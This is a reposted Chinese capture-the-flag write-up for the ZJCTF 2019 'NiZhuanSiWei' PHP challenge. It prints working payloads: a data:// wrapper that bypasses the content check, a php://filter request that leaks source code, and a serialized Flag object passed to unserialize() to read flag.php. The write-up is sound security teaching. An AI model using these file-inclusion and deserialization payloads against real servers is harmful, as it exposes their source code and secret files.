码迷,mamicode.com
首页 > 其他好文 > 详细

[ZJCTF 2019]NiZhuanSiWei

时间:2020-01-19 22:04:20      阅读:119      评论:0      收藏:0      [点我收藏+]

标签:filter   inf   打开   base   使用   在线   new   数据流   code   

打开之后是一段源代码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,‘r‘)==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,‘r‘)."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

  首先我们需要传进三个参数,text,file,password

想要进入第一个if条件,我们需要传入text,同时读取text文件使其内容为

welcome to the zjctf
我们可以使用php伪协议中的data绕过
data://text/plain;base64,base编码字符串

很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

  于是我们构造

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

  绕过第一步之后页面显示为:

技术图片

 

 接着,我们可以传入file变量读取文件,除了包含flag的文件之外的都可以读取

刚好源代码里面还有useless.php,同时后面还有反序列化的操作,所以我们需要知道序列化的类的代码

使用php伪协议里面的filter来读取源代码

php://filter

经常使用的伪协议,一般用于任意文件读取,有时也可以用于getshell.在双OFF的情况下也可以使用.

php://filter是一种元封装器,用于数据流打开时筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用。类似readfile()、file()、file_get_contents(),在数据流读取之前没有机会使用其他过滤器。
php://filter/[read/write]=string.[rot13/strip_tags/…..]/resource=xxx

filter和string过滤器连用可以对字符串进行过滤。filter的read和write参数有不同的应用场景。read用于include()和file_get_contents(),write用于file_put_contents()中。

php://filter/convert.base64-[encode/decode]/resource=xxx

这是使用的过滤器是convert.base64-encode.它的作用就是读取upload.php的内容进行base64编码后输出。可以用于读取程序源代码经过base64编码后的数据

  php://filter在CTF里面经常会遇到,这里我们构造

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/convert.base64-encode/resource=useless.php

  将读取到的源代码解码为:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

  可以看到有读取文件的操作,对于Flag里面的file变量,在线输出一下序列化的结果

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$test=new Flag();
echo serialize($test);

?>  

  进一步构造读取flag.php

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  技术图片

 

 查看源代码就可以得到flag

[ZJCTF 2019]NiZhuanSiWei

标签:filter   inf   打开   base   使用   在线   new   数据流   code   

原文地址:https://www.cnblogs.com/Cl0ud/p/12215582.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!